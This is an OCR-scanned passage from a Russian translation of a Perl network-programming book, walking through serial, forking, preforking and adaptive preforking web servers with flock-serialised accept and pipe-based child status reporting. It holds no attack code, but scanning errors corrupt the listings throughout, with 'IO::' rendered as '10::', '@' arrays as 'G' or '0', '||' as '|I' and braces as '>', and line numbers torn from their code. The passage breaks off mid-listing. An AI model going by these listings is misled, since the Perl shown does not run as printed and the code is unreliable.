Листинг 15.2. Этот базовый сервер обрабатывает запросы последовательно
0: #!/usr/bin/perl -w
1: # Файл: web_serial.pl
use strict;
use IO::Socket;
use Web;
my $port = shift || 8080;
my $socket = 10::Socket::INET->new( LocalPort => $port.
Listen => SOMAXCONN,
Глава 15. Предварительная организация мультипроцессной и... 463
8: . Reuse => 1 )
or die "Can't create listen socket: $!";
9: while (my $c = $socket->accept) {
10: handle_connection($c);
11: close $c;
12: }
13: close $socket;
Если вы запустите и направите свой Web-броузер на порт 8080 хоста, то
обнаружите, что этот сервер превосходно справляется с задачей выборки файлов HTML
и отслеживания ссылок. Однако страницы с многочисленными встроенными
изображениями будут отображаться медленно, поскольку броузер пытается открыть новое
соединение для выборки каждого изображения, а Web-сервер может обрабатывать
соединения только последовательно.
Web-сервер, выполняющий прием и ветвление
Обычный сервер с ветвлением (листинг 15.3) имеет более высокий уровень
сложности. В этой версии для выполнения таких основных задач сетевого демона, как
автоматический переход в фоновый режим, запись PID в файл и смена назначения
вывода функции warn () и die (} с тем, чтобы сообщения об ошибках появлялись в
системном журнале, применяется модуль Daemon, представленный в главе 14. Модуль
Daemon обеспечивает также автоматическую установку обработчика сигнала CHLD,
чтобы не нужно было заниматься удалением из системных таблиц информации о
дочерних процессах, завершивших работу.
Модуль Daemon не работает в системах Win32, поскольку выполняет ряд
вызовов, реализованных только в UNIX. В Приложении А, "Дополнительный
исходный код", приведен простой модуль DaemonDebug, который имеет такой же
интерфейс, как и модуль Daemon. Однако он не переходит автоматически в
фоновый режим, не открывает системный журнал и не выполняет другие вызовы,
характерные только для системы UNIX. Вместо этого, процесс остается на
переднем плане и записывает сообщения об ошибках и отладочные сообщения на
стандартное устройство вывода сообщений об ошибках. В следующих примерах
кода достаточно заменить "Daemon" словом "DaemonDebug", и они будут
прекрасно работать в системах Win32. Такую замену можно также применить в системах
UNIX, если решено оставить сервер на переднем плане или возникают проблемы
при обеспечении работы модуля Sys : : Syslog.
Серверы, выполняющие прием и ветвление, уже рассматривались, но в этом
сервере применяется немного иная конструкция программы, поэтому ниже описана
соответствующая программа.
Листинг 15.3. Web-серве- с ветвлением
0: #!/usr/bin/perl -w
1: # Файл: web_fork.pl
2: use strict;
3: use IO::Socket;
4: use 10::File;
5: use 10::Select;
464
Часть Ш. Разработка систем TCP типа клиент/сервер
6: use Daemon;
7: use Web;
8: use constant PIDFILE => */tmp/webfork.pid*;
9: my $DONE = 0;
10: $SIG{INT} = $SIG{TERM} = sub { $DONE++ };
11: my $port = shift |I 8080;
12: my $socket = IO::Socket::INET->new( LocalPort => $port,
13: Listen => SOMAXCONN,
14: Reuse => 1 ) or
die "Can't create listen socket: $!";
15: my $IN = IO::Select->new($socket);
16: # Создать файл PID, инициализировать регистрацию и перейти
# в фоновый режим
17: init_server(PIDFILE);
18: warn "Listening for connections on port $port\n";
19
20
21
22
23
24
25
26
27
28
29
30
# Цикл вызова функции accept
while (!$DONE) {
next unless $IN->can_read;
next unless my $c = $socket->accept;
my $child = launch_child();
unless ($child) {
close $socket;
handle_connection($c);
exit 0;
}
close $c;
}
31: warn "Normal termination\n";
Проведем анализ программы.
Строки 1-7. Загрузка модулей. Загружаются стандартные модули Ю: :*, а также модули
Daemon и web. Последние два модуля должны быть установлены в текущем каталоге или в
каком-то другом, указанном в пути Ginc интерпретатора Perl.
Строка 8. Определение констант. Определено имя файла PID, применяемого модулем
Daemon. После автоматического перевода в фоновый режим этот файл будет содержать
идентификатор серверного процесса.
Строка 9. Объявление глобальных переменных. Глобвльная переменная $done
используется для контроля условия завершения главного цикла.
Строка 10. Установка обработчиков сигналов. Создается обработчик для сигналов INT и term,
который устанавливает истинное значение переменной $done, вызывая завершение главного
цикла. Во время инициализации модуль Daemon устанавливает также обработчик CHLD.
Строки 11-14. Создание приемного сокета. Как обычно, создается объект приемного сокета
IO: :Socket: :INET.
Строка 15. Создание объекта Ю:: Select. Создается объект 10:: Select, содержащий со-
кет, который предназначен для использования в главном цикле приема. (Более подробное
описание приведено ниже.)
Глава 15. Предварительная организация мультипроцессной и... 465
• Строки 16-18. Инициализация сервера. Вызывается процедура init server () модуля
Daemon для создания файла PID сервера, автоматического перевода в фоновый режим и
инициализации ведения журнала.
• Строки 19-30. Главный цикл приема. Программа входит в цикл, в котором вызывается
функция accept (), производится ветвление с созданием дочернего процесса для
обслуживания соединения, после чего выполнение цикла продолжается. Цикл закончится только после
того, как обработчик прерывания int или term установит глобальную переменную $done
равной истинному значению.
Такая конструкция программы имеет один недостаток — основную часть времени
цикл проводит в состоянии, заблокированном в результате вызова функции
accept (), поэтому, вероятно, сигнал к завершению работы будет получен во время
этого системного вызова. Однако accept () представляет собой один из тех
медленных вызовов системы ввода-вывода, которые автоматически перезапускаются после
прерывания по сигналу. Хотя переменная $DONE установлена равной истинному
значению, сервер примет еще одно, последнее входящее соединение, прежде чем
обнаружит, что настало время завершить работу. Однако желательно, чтобы сервер
завершил работу немедленно.
В предыдущей версии сервера с ветвлением мы должны были выбрать один из двух
вариантов: либо предусмотреть немедленное уничтожение серверного процесса
обработчиком прерывания, либо использовать механизм тайм-аута модуля 10: : Socket
для обеспечения возможности прерывания работы функции accept (). В этой
версии сервера применяется другая методика (для разнообразия). Вместо блокировки
после вызова функции accept (), используется блокировка после вызова метода
10: :Select->can_read(). В отличие от вызовов системы ввода-вывода, функция
select () не перезапускается автоматически. При получении сигнала INT или TERM
выполнение метода can_read () прерывается, и он возвращает значение undef. Это
обнаруживается и выполняется возврат в начало цикла, где распознается изменение
значения переменной $D0NE.
Если вместо этого метод can_read () возвращает истинное значение, это значит,
что имеется входящее соединение. Теперь можно перейти к вызову метода accept ()
объекта сокета. В случае его успешного выполнения вызывается подпрограмма
launch_child (), экспортируемая модулем Daemon.
Напомним, что подпрограмма launch_child() представляет собой оболочку
функции fork(), которая обеспечивает запуск дочерних процессов в условиях
блокировки сигналов и обновляет глобальную переменную пакета, содержащую
идентификаторы всех активных дочерних процессов. Подпрограмма launch_child()
может принимать ряд параметров, в том числе указатель на процедуру обратного
вызова, которая должна быть вызвана во время "уборки" дочернего процесса. В этом
случае нет необходимости обрабатывать данное событие, поэтому параметры
подпрограмме не передаются.
Если подпрограмма launch_child() возвращает PID дочернего процесса,
равный 0, это значит, что управление находится в дочернем процессе. Закрывается
принадлежащая ему копия приемного сокета и вызывается метод handle_connection ()
модуля Web с подключенным сокетом. В ином случае управление находится в
родительском процессе. Закрывается принадлежащая ему копия подключенного сокета
и продолжается выполнение цикла.
Создается впечатление, что производительность сервера, выполняющего прием
и ветвление, значительно выше по сравнению с последовательной версией, особенно
при обработке страниц со встроенными изображениями.
466
Часть Ш. Разработка систем TCP типа клиент/сервер
Web-сервер с предварительным ветвлением,
версия 1
Следующая версия сервера (листинг 15.4) не намного сложнее. После открытия
приемного сокета сервер выполняет ветвление с созданием заранее заданного числа
дочерних процессов. После выполнения своей работы родительский процесс
завершается, оставляя дочерние процессы, в каждом из которых работает
последовательный цикл accept (). Общее число одновременно работающих соединений, которое
может обслужить этот сервер, ограничено числом дочерних процессов, созданных
путем ветвления.
Листинг 15.4. Web-сервер с предварительным ветвлением, версия 1
0: #!/usr/bin/perl -w
1: # Файл: web_preforkl.pl
8
9
10
11
16
17
18
19
22
23
24
25
26
27
28
29
30
use IO::Socket;
use IO::File;
use Daemon;
use Web;
6: use constant PIDFILE => "/tmp/prefork.pid";
7: use constant PREFORK CHILDREN => 5;
my $port = shift |I 8080;
my $socket = IO::Socket::INET->new( LocalPort => $port.
Listen => 100,
Reuse => 1 )
or die "Can't create listen socket: $!";
12: # Создать файл PID, инициализировать регистрацию и перейти
# в фоновый режим
13: init_server(PIDFILE);
14: make_new_child() for (1..PREFORK_CHILDREN);
15: exit 0;
sub make_new_child {
my $child = launch_child();
return if $child;
do_child($socket); # Дочерний процесс обрабатывает
# входящие соединения
20: exit 0;
21: }
sub do_child {
my $socket = shift;
while (1) {
next unless my $c = $socket->accept;
handle_connection($c);
close $c;
}
close $socket;
}
Глава 15. Предварительная организация мулътипроцессной и... 467
Проведем анализ программы.
• Строки 1-6. Загрузка модулей. Загружаются модули ю-.: *, Daemon и web.
• Строки 6,7. Определение констант. Кроме константы PIDfile, необходимой для процедуры
init_server(), объявляется константа prefork_children, которая содержит число
дочерних серверных процессов, создаваемых путем ветвления.
• Строки 8-11. Создание приемного сокета. Как обычно, создается приемный сокет.
• Строки 12,13. Инициализация сервера. Вызывается подпрограмма init_server() модуля
Daemon для автоматического перевода сервера в фоновый режим, настройки ведения
журнала и создания файла PID. Сервер фактически завершает свою работу вскоре после этого,
и файл PID исчезает; этот недостаток будет устранен в следующей версии сервера.
• Строки 14, 15. Предварительное ветвление и создание дочерних процессов. Вызывается
подпрограмма make_new_child () столько раз, сколько задано константой preforkchildren,
для запуска требуемого числа дочерних процессов. После этого главный сервер завершает свою
работу, возлагая всю ответственность за дальнейшие действия на дочерние процессы.
• Строки 16-20. Подпрограмма make_new_child(). Эта подпрограмма вызывает
подпрограмму launch_child () модуля Daemon для выполнения ветвления с блокировкой сигналов.
Если подпрограмма iaunch_chiid () возвращает PID, это значит, что управление находится
в родительском процессе, поэтому выполняется возврат. В ином случае управление находится
в дочернем процессе, и поэтому вызывается подпрограмма do_child(). После возврата
управления из подпрограммы do_child () работа подпрограммы make_new_child ()
завершается.
• Строки 22-30. Подпрограмма do_child(). В каждом дочернем процессе выполняется цикл,
который, по сути, представляет собой последовательный цикл accept (). В цикле вызывается
метод $socket->accept(), обрабатывается входящее соединение, а затем происходит
переход к ожиданию следующего входящего запроса.
После запуска этой версии сервера приглашение к вводу команд
восстанавливается, когда будет выполнено создание всех дочерних процессов путем ветвления. При
выполнении команды ps в системе UNIX или программы Process Manager в системе
Windows (при условии, что используется новейшая версия интерпретатора Perl,
которая поддерживает ветвление в системе Windows) можно видеть пять одинаковых
процессов Perl, соответствующих пяти дочерним серверным процессам.
Создается впечатление, что этот сервер имеет почти такую же
производительность, как и сервер с ветвлением. Разница проявляется только после повышения
нагрузки сервера в результате появления многочисленных входящих соединений, и
тогда становится очевидным, что сервер не может одновременно обслуживать больше
соединений, чем задано константой PREFORK_CHILDREN.
Web-сервер с предварительным ветвлением,
версия 2
Хотя первая версия сервера с предварительным ветвлением соответствует своему
назначению, она имеет определенные недостатки. Во-первых, родительский процесс
оставляет свои дочерние процессы без присмотра после их запуска. Это значит, что
в случае аварийного завершения дочернего процесса или его сознательного
уничтожения от внешнего сигнала нет возможности запустить новый дочерний процесс,
который бы занял его место. Во-вторых, в настоящее время нет удобного способа
останова всего сервера: каждый дочерний процесс необходимо уничтожать вручную,
определяя его PID и посылая ему сигнал INT или TERM (или уничтожая каждую задачу на
платформе Win32 в программе Process Manager).
468
Часть Ш. Разработка систем TCP типа клиент/сервер
Для устранения первого недостатка может быть предусмотрена установка в
основной программе обработчиков сигналов для выполнения соответствующих действий
в случае уничтожения дочернего процесса или получения сигнала завершения
родительским процессом. После запуска первого набора дочерних процессов родительский
процесс остается активным до тех пор, пока не будет получен сигнал завершения.
Второй недостаток устранить немного сложнее. При попытке выполнения функции
accept () с одним и тем же сокетом несколькими процессами, они переводятся в
состояние ожидания до тех пор, пока не появится входящий запрос на установление соединения.
В этот момент активизируются сразу все процессы, которые конкурируют между собой за
получение права выполнить функцию accept (). Даже в самом лучшем случае это может
вызвать перегрузку операционной системы, поскольку одновременно активизируется
большое число процессов, которые начинают конкурировать за ограниченный пул
системных ресурсов. Этот феномен образно называют "несущимся стаде»!".
Проблема усугубляется также тем, что некоторые операционные системы, в
частности Solaris, запрещают вызывать функцию accept () с одним и тем же сокетом
нескольким процессам. При попытке выполнить это функция accept () возвращает
сообщение об ошибке. Поэтому сервер с предварительным ветвлением такого типа не
сможет работать в подобных системах.
К счастью, для решения проблемы "несущегося стада" и проблемы возникновения
ошибки при многократном вызове функции accept () может применяться простой
способ. Он состоит в упорядочении вызовов функции accept () с тем, чтобы эту
функцию в любой заданный момент времени мог вызвать только один дочерний
процесс. В этом случае процессы конкурируют за доступ к системному ресурсу, который
характеризуется низкими издержками, а также, как правило, за рекомендательную
блокировку файла, прежде чем один из них сможет получить возможность вызвать функцию
accept (). Процессу, получившему блокировку, разрешается вызвать функцию
accept (), после чего он освобождает эту блокировку. В результате, один из
процессов блокируется при выполнении функции accept (), а остальные переходят в
состояние ожидания до тех пор, пока не станет доступной рекомендательная блокировка.
В этом примере для упорядочения вызовов функции accept () применяется
системный вызов flock (), который позволяет процессу получить рекомендательную
блокировку на открытом файле. Если один процесс владеет блокировкой на этом
файле, а другой пытается получить ее, то второй процесс блокируется при
выполнении функции f lock () до тех пор, пока первая блокировка не будет освобождена.
После того как он получит блокировку, ее не сможет получить иной процесс до тех пор,
пока блокировка не будет освобождена.
Рассматриваемый здесь способ состоит в создании и сопровождении временного
файла блокировки, который должен применяться для упорядочения вызовов
функции accept (). Каждый дочерний процесс будет пытаться заблокировать этот файл
перед вызовом функции accept (), а после получения такой блокировки будет
немедленно ее освобождать. В результате, вызов функции accept () защищен так, что
влтобой момент времени ее сможет вызвать только один процесс. Все остальные
процессы будут заблокированы при выполнении функции f lock(), ожидая, пока не
станет доступной эта блокировка.
Синтаксис функции flock () описан в разделе "Непосредственное ведение
журнала в файле" главы 14.
Кроме того, достаточно удобно то, что не нужно создавать отдельный файл
блокировки, поскольку для этого может применяться файл PID. После входа в подпрограмму
Глава 15. Предварительная организация мультипроцессной и... 469
do_child () вызывается метод open () модуля 10:: File для открытия файла PID; при
этом используется флажок 0_RD0NLY для его открытия в режиме только чтения.
В этой версии Web-сервера с предварительным ветвлением внесены все
необходимые изменения для упорядочения вызовов функции accept () и перезапуска
дочерних процессов в целях замены завершившихся. Обеспечено также корректное
уничтожение родительским процессом дочерних процессов при завершении работы
сервера. В листинге 15.5 представлен код сервера, в котором введены изменения,
позволяющие устранить оба недостатка.
Листинг 15.5. Этот сервер с предварительным ветвлением обеспечивает
упорядочение вызовов функции accept () и перезапуск новых дочерних
п оцессов для замены ста ых
О: #!/usr/bin/perl -w
1: # web_prefork2.pl
2
3
4
5
б
7
8
9
10
11
15
16
17
18
21
22
23
24
25
26
27
use strict;
use 10::Socket;
use 10::File;
use Fcntl •:flock *;
use Daemon;
use Web;
use constant PREFORK_CHILDREN => 5;
use constant MAX_REQUEST => 30;
use constant PIDFILE => "/tmp/prefork.pid";
use constant DEBUG => 1;
12: my $CHILD_COUNT =0; # Число дочерних процессов
13: my $D0NE =0; # Установить истинное значение
# флажка после завершения работы сервера
14: $SIG{INT} = $SIG{TERM} = sub { $D0NE++ };
my $port = shift || 8080;
my $socket = 10::Socket::INET->new( LocalPort => $port.
Listen => SOMAXCONN,
Reuse => 1 ) or
die "Can't create listen socket: $!";
19: # Создать файл PID, инициализировать регистрацию и перейти
# в фоновый режим
20: init server(PIDFILE);
while (!$D0NE) {
make_new_child() while $CHILD_C0UNT < PREF0RK_CHILDREN;
sleep; # Ждать сигнала
}
kill_children(};
warn "normal termination\n" if DEBUG;
exit 0;
28: sub make_new_child {
29: my $child = launch child(\&cleanup_child);
470
Часть III. Разработка систем TCP типа клиент/сервер
30: if ($child) { # Переменная $child > 0, поэтому
# управление - в родительском процессе
warn "launching child $child\n" if DEBUG;
$CHILD COUNT++;
31
32
33
34
} else {
do_child($socket); # Дочерний процесс обрабатывает
# входящие соединения
35: exit 0; # Выполнение дочернего процесса
36:
37: }
# завершено
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
sub do_child {
my $socket = shift;
my $lock = IO::File->new(PIDFILE,0_RDONLY)
or die "Can't open lock file: $!";
my $cycles = MAX_REQUEST;
while ($cycles—) {
flock($lock,LOCK_EX);
last unless my $c = $socket->accept;
flock($lock,LOCK_UN);
warn "Child $$ handling connection\n" if DEBUG;
handle_connection($c) ;
close $c;
>
close $socket;
close $lock;
>
sub cleanup_child {
.my $child = shift;
$CHILD_COUNT—;
>
Проведем анализ программы.
Строки 1-7. Импортирование модулей. Кроме модулей, импортируемых в предыдущих
версиях, импортируется модуль Fcnti. Он экспортирует несколько констант, необходимых для
установки и снятия блокировки файла.
Строки 8-11. Определение констант. Кроме prefork_children и pidfile, определяется
константа max_request. Она устанавливает число транзакций, которые должны быть
выполнены каждым дочерним процессом перед завершением его работы. Установка небольшого
значения этой константы позволяет следить за тем, как завершается работа дочерних
процессов и выполняется запуск родительским процессом новых дочерних процессов для замены
завершившихся. Определена также переменная debug, которую можно установить для записи
в журнал подробных сообщений.
Строки 12,13. Объявление глобальных переменных. Введена новая переменная
SCHILd_count, которая обозначает число дочерних процессов, активных в любое заданное
время. Переменная $done, как и прежде, применяется для указания родительскому процессу,
что настало время завершить работу.
Строка 14. Обработчики сигналов. Обработчики int и term принимают запросы на
завершение работы сервера. Как и прежде, обязанности по установке обработчика сигнала chld
возлагаются на модуль Daemon.
Строки 15-20. Создание приемного сокета, инициализация сервера. Создается приемный
сокет и вызывается процедура init_server () модуля Daemon для записи файла PID и
перехода в фоновый режим.
Глава 15. Предварительная организация мультипроцессной и... 471
• Строки 21-24. Главный цикл. Теперь программа входит в главный цикл, в котором
запускается определенное число дочерних процессов, указанных константой
prefork_children, а затем выполняется переход в режим ожидания до получения
сигнала. Как будет показано ниже, квждый вызов подпрограммы make_new_child ()
приводит к увеличению значения глобальной пвременной Schild_count на единицу в
результате создания в ней дочернего процесса, а каждый вызов процедуры обрвтного вызова
chld уменьшает значение пврвменной $child_count, если он приводит к уничтожению
дочернего процесса. Назначение этого цикла состоит в ожидании до тех пор, покв не будет
получен chld или другой сигнал, а затем в вызове подпрограммы make_new_child()
столько раз, сколько потребуется для доведения числа дочерних процессов до предела,
установленного константой preforkchildren.
Эта действия повторяются неопределенно долго до тех пор. пока родительский процесс не
получит сигнал int или term и не установит переменную Sdone равной истинному значению.
• Строки 25-27. Уничтожение дочерних процессов и выход. После выхода из главного цикла
все дочерние процессы уничтожаются путем вызова подпрограммы kiii_children() модуля
Daemon. Суть этой процедуры выражается следующей строкой кода:
kill TERM => keys %CHILDREN;
где %children — хеш. содержащий идентификаторы активных дочерних процессов,
запущенных в подпрограмме launchchiid (). Подпрограмма kill_chiidren () переходит в
состояние ожидания до тех пор, пока не будет уничтожен последний дочерний процесс.
• Строки 28-37. Подпрограмма make_new_chiid(). В последней версии подпрограмма
make_new child () вызывалась для создания новых серверных дочерних процессов. В этой
версии в нее внесено изменение, которое заключается в том, что при вызове подпрограмме
launch child () передается ссылка на подпрограмму, которая должна вызываться
каждый раз, когда модуль Daemon удаляет информацию о дочерних процессах из системных
таблиц. В данном случае в качестве процедуры обратного вызова применяется
cleanup_chiid(), которая уменьшает глобальную переменную Schildcount на
единицу. Еще одно изменение состоит в том, что после запуска родительским процессом нового
дочернего процесса, первый увеличивает переменную $child_count на единицу. Эти
изменения в целом позволяют использовать переменную $child_count для точного учета
числа активных дочерних процессов.
• Строки 38-52. Подпрограмма do_chiid(). Эта подпрограмма, в которой работает цикл
accept () каждого дочернего процесса, изменена в целях упорядочения вызовов функции
приема accept (). При входе в подпрограмму открывается файл PID в режиме только чтения
и создается дескриптор файла, который можно использовать для блокировки. Перед каждым
вызовом функции accept () вызывается функция flock () на дескрипторе файла с
параметром lockex для получения исключительной блокировки. Затем эта блокировка
освобождается вслед за вызовом функции accept () путем повторного вызова функции flock () с
параметром LOCK_UN.
После приема запроса на установление соединения, как и прежде, вызывается процедура
handle_connection() модуля Web.
• Строки 53-56. Подпрограмма cieanup_chiid(). Эта подпрограмма вызывается
обработчиком chld модуля Daemon, вызов которого происходит после удалвния из системных таблиц
информации о завершившемся дочернем процессе; следовательно, подпрограмма
вызывается во аремя обработки прерывания.
Выполняется выборка PID дочернего процесса, переданного модулвм Daemon, но в данной
версии сервера с этой информацией не выполняется каких-либо действий. Происходит только
уменьшение переменной $child_coumt на единицу, что будет служить для главного цикла
сигналом об уничтожении одного дочернего процесса.
Если в вашей системе применяются версии процедур ps или top, которые
показывают системный вызов, выполняемый каждым процессом, то с их помощью можно
заметить разницу между версиями сервера, в которых используются
неупорядоченные и упорядоченные вызовы функции accept (). В системе Linux автора утилита
top после вызова неупорядоченной версии сервера показала следующее:
W2
Часть Ш. Разработка систем TCP типа клиент/сервер
PID
15300
15301
15302
15303
15304
SIZE
2560
2560
2560
2560
2560
WCHAN
tcp_j?arse
tcp parse
tcp parse
tcp parse
tcp parse
STAT
S
s
s
s
s
%CPU
0.0
0.0
0.0
0.0
0.0
%MEM
4.0
4.0
4.0
4.0
4.0
TIME
0:00
0:00
0:00
0:00
0:00
COMMAND
web preforkl.pi
web preforkl.pl
web preforkl.pl
web preforkl.pl
web preforkl.pl
Здесь — пять дочерних процессов, и для каждого из них (как показано в столбце
WCHAN) выполняется системный вызов tcp_parse. Вероятно, эта процедура
вызывается функцией accept () во время ожидания входящего соединения.
В отличие от этого, последняя версия сервера с предварительным ветвлением
обнаруживает совсем иную картину.
PID
15313
15314
15315
15316
15317
15318
SIZE
2984
2980
2980
2980
2980
2980
WCHAN
pause
flock lock
tcp parse
flock lock
flock lock
flock lock
STAT
s
s
s
s
s
s
%CPU
0.0
0.0
0.0
0.0
0.0
0.0
%MEM
4.6
4.6
4.6
4.6
4.6
4.6
TIME
0 00
0 00
0 00
0 00
0 00
0 00
COMMAND
web prefork2.pi
web prefork2.pl
web prefork2.pl
web prefork2.pi
web prefork2.pl
web prefork2.pi
Процесс, находящийся в верхней части списка (PID 15313), является
родительским. Утилита top указывает для него значение pause, поскольку в функции sleep ()
применяется именно этот системный вызов. Остальные пять процессов (15314-
15318) — дочерние. Только один из них выполняет функцию accept (), а другие
заблокированы в системном вызове f lock_lock. После того как активный дочерний
процесс обработает входящее соединение, его место займет другой, но в любой
момент времени функцию accept () вызывает только один дочерний процесс.
Адаптивный сервер с предварительным
ветвлением
Описанные выше версии Web-сервера с предварительным ветвлением имеют одно
ограничение. Если число входящих запросов на установление соединения превышает
число дочерних процессов, доступных для их обработки, то лишние запросы будут
ожидать во входной очереди TCP до тех пор, пока не освободится один из дочерних
процессов, который вызовет функцию accept (). Серверы, выполняющие прием
и ветвление, которые описаны в главах 10 и 14, не отличаются такой особенностью;
они просто запускают по мере необходимости новые дочерние процессы для
обработки входящих запросов.
Последние две версии сервера с предварительным ветвлением, которые будут
описаны ниже, являются адаптивными. Родительский процесс следит за тем, какие
дочерние процессы простаивают и какие занимаются обслуживанием соединений.
Если число простаивающих дочерних процессов падает ниже определенного уровня
("нижней отметки"), то родительский процесс запускает новые дочерние процессы
в целях увеличения их общего числа. С другой стороны, если число таких дочерних
процессов превышает некоторый уровень ("верхнюю отметку"), то родительский
объект уничтожает лишние. Это гарантирует наличие нескольких Простаивающих
дочерних процессов, готовых обслужить входящие соединения (но не в таком
количестве, чтобы они бесполезно расходовали системные ресурсы).
Основная сложность при создании адаптивного сервера состоит в организации
взаимодействия между дочерними процессами и их родительским процессом. В пре-
Глава 15. Предварительная организация мулътипроцессной и... 473
дыдущих версиях единственный способ такого взаимодействия состоял в
автоматической отправке сигнала CHLD родительскому процессу и уничтожении дочернего
процесса. Этого было достаточно для контроля за числом активных дочерних процессов,
но недостаточно для текущих потребностей, когда дочерний процесс должен
передавать описательную информацию о своих действиях.
При решении этой проблемы чаще всего применяются два метода. Один из них
заключается в том, что родительский и дочерний процессы отправляют друг другу
сообщения через дескриптор файла. Другой метод состоит в использовании
разделяемой памяти, чтобы родительский и дочерний процессы имели совместный доступ
к одной и той же переменной Perl. При изменении этой переменной в дочернем
процессе изменения становятся видимыми и в родительском процессе. В настоящем
разделе показан пример адаптивного сервера с предварительным ветвлением, в котором
для родительско-дочерней связи применяется канал. Решение на основе разделяемой
памяти рассматривается в следующем разделе.
В главе 2 показано, как однонаправленные каналы, созданные с помощью функции
pipe (), могут применяться набором дочерних процессов для отправки сообщений
их общему родительскому объекту (см. раздел "Создание каналов с помощью функции
pipe ()"). Такой же метод является идеальным и для этого приложения.
Во время запуска адаптивный сервер создает канал с использованием функции pipe ().
pipe(CHILD_READ,CHILD_WRITE);
В результате выполнения этого вызова создается два дескриптора файла.
Дескриптор CHILD_WRITE применяется дочерними процессами для записи сообщения
о состоянии, а с помощью CHILD_READ родительский процесс получает эти
сообщения. При создании путем ветвления, каждый новый дочерний процесс закрывает
дескриптор CHILD_READ и сохраняет копию CHILD_WRITE. Сообщения о состоянии
имеют простой формат. Они состоят из идентификатора дочернего процесса,
пробельного символа, текущего кода состояния и символов обозначения конца строки.
2209 busy
Код состояния обозначается строками "idle", "busy" и "done". Дочерний процесс
выдает код состояния "idle" (простаивающий) непосредственно перед вызовом функции
accept () и "busy" (работающий) — сразу после приема нового соединения. Дочерний
процесс сообщает, что он переходит в состояние "done" (завершившийся) после того, как
обработает максимальное число соединений, и начинает готовиться к завершению.
Родительский процесс читает сообщения в цикле, интерпретируя их и
поддерживая глобальную переменную % STATUS в актуальном состоянии. При изменении
состояния любого дочернего процесса родительский процесс подсчитывает число
работающих и простаивающих дочерних процессов, и в случае необходимости
запускает новые дочерние процессы или уничтожает старые для поддержания числа
простаивающих процессов в установленном диапазоне. Должна быть предусмотрена
возможность прервать цикл чтения родительского процесса по сигналу, чтобы можно
было остановить сервер. Перед завершением работы сервер уничтожает все
оставшиеся дочерние процессы в целях выполнения корректного завершения.
Аналогичным образом предусмотрена возможность прервать цикл accept () дочернего
процесса с тем, чтобы этот процесс завершался немедленно, сразу же после получения
сигнала об окончании работы от родительского процесса.
В любой момент времени существует единственный активный дескриптор файла
CHILD_READ в родительском процессе и несколько дескрипторов CHILDJWRITE в до-
4 74 Часть Ш. Разработка систем TCP типа клиент/сервер
черних процессах. Может возникнуть вопрос: почему не происходит нарушения
структуры сообщений, поступающих от дочерних процессов, которые могли бы
накладываться друг на друга. В настоящем проекте такого не происходит в связи с
определенными характеристиками данной реализации канала. Если сообщения не
превышают предельного размера, операции записи в канал выполняются автоматически,
а это гарантирует, что сообщение, записанное в канал одним процессом, не будет
прервано сообщением, записанным другим процессом. Благодаря этому, сообщения,
записанные в канал, появляются с другого конца канала в неизменном виде и не
смешиваются с данными, которые появились в результате выполнения операций записи
другими процессами. Предельный размер автоматически передаваемых сообщений
зависит от значения константы PIPE_BUF операционной системы, которая
определена в файле заголовка limits.h. Это значение зависит от операционной системы,
но обычно не бывает ниже 512 байт.
Код адаптивного сервера приведен в листинге 15.6.
Листинг 15.6. Сервер с предварительным ветвлением, в котором для
межпроцессной вязи применяется канал
0: #!/usr/bin/perl -w
1: # prefork_pipe.pl
2
3
4
5
б
7
8
9
10
11
12
13
14
use strict;
use IO::Socket;
use 10::File;
use IO::Select;
use Fcntl ':flock';
use Daemon;
use Web;
use constant PREFORK_CHILDREN => 3;
use constant MAXJREQUEST => 30;
use constant PIDFILE => "/tmp/prefork.pid";
use constant HI_WATER_MARK => 5;
use constant L0_WATER_MARK => 2;
use constant DEBUG => 1;
15: my $D0NE =0; # Установить истинное значение
# флажка после завершения работы сервера
16: my %STATUS = ();
17: $SIG{INT} = $SIG{TERM} = sub { $D0NE++ };
18
19
20
21
22
23
24
my $port = shift || 8080;
my $socket = 10::Socket::INET->new( LocalPort => $port.
Listen => SOMAXCONN,
Reuse => 1 ) or
die "Can't create listen socket: $!";
# Создать канал для межпроцессной связи
pipe(CHILD_READ,CHILD_WRITE) or die "Can't make pipe!\n";
my $IN = 10::Select->new(\*CHILD_READ);
25: # Создать файл PID, инициализировать регистрацию и перейти
# в фоновый режим
Глава 15. Предварительная организация мультипроцессной и... 475
26:
init server(PIDFILE) ;
27: # Вьшолнить предварительное ветвление для создания
# некоторых дочерних процессов
28: make_new_child() for (1..PREFOKK_CHILDREN);
29: while (!$DONE) {
30: if ($IN->can_read) { # Получено сообщение от одного из
# дочерних процессов
31: my $message;
32: next unless sysread(CHILD_READ,$message, 4096) ;
33: my Gmessages = split "\n",$message;
34: foreach (Gmessages) {
35: next unless my ($pid,$status) = /"(\d+) (.+)$/;
36: if ($status ne 'done') {
37: $STATUS{$pid} = $status;
38: } else {
39: delete $STATUS{$pid};
40: }
41: }
42: }
43: # Получить список простаивающих дочерних процессов
44: warn join(" ', map ("$_=>$STATUS{$_}"} keys %STATUS),
"\n" if DEBUG;
45: my Gidle = sort {$a <=> $b} grep ($STATUS{$_} eq 'idle'}
keys %STATUS;
46: if (Gidle < LO_WATER_MARK) {
47: make_new_child() for (0..LO_WATER_MARK-@idle-l);
# Увеличить число дочерних процессов
48: } elsif (Gidle > HI_WATER_MARK) {
49: my 0goners = 0idle[0..0idle - HI_WATER_MARK() - 1];
# Уничтожить запущенные раньше других
50: my $killed = kill HUP => Ggoners;
51: warn "killed $killed children\n" if DEBUG;
52: }
53: }
54: warn "Termination received, killing childrenXn" if DEBUG;
55: kill_children();
56: warn "Normal termination.\n";
57: exit 0;
58: sub make_new_child {
59: my $child = launch_child(\&cleanup_child);
60: if ($child) { # Переменная $child > 0, поэтому
# управление - в родительском процессе
61: warn "launching child $child\n"' if DEBUG;
62: } else {
63: close CHILD_READ; # Канал не должен применяться
# для чтения
64: do_child($socket); # Дочерний процесс
# обрабатывает входящие соединения
65: exit 0; # Выполнение дочернего процесса
# завершено
W6
Часть Ш. Разработка систем TCP типа клиент/сервер
66:
67:
}
>
68: sub do_child {
69: my $socket = shift;
70: my $lock = IO::File->new(PIDFILE,0_RDONLY) or
die "Can't open lock file: $!";
71: my $cycles = MAX_REQUEST;
72: my $done = 0;
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
$SIG{KUP} = sub { $done++ };
while ( !$done && $cycles— ) {
syswrite CHILDJWRITE,"$$ idle\n";
my $c;
next unless eval {
local $SIG{HUP} = sub { $done++; die };
flock($lock,LOCKEX);
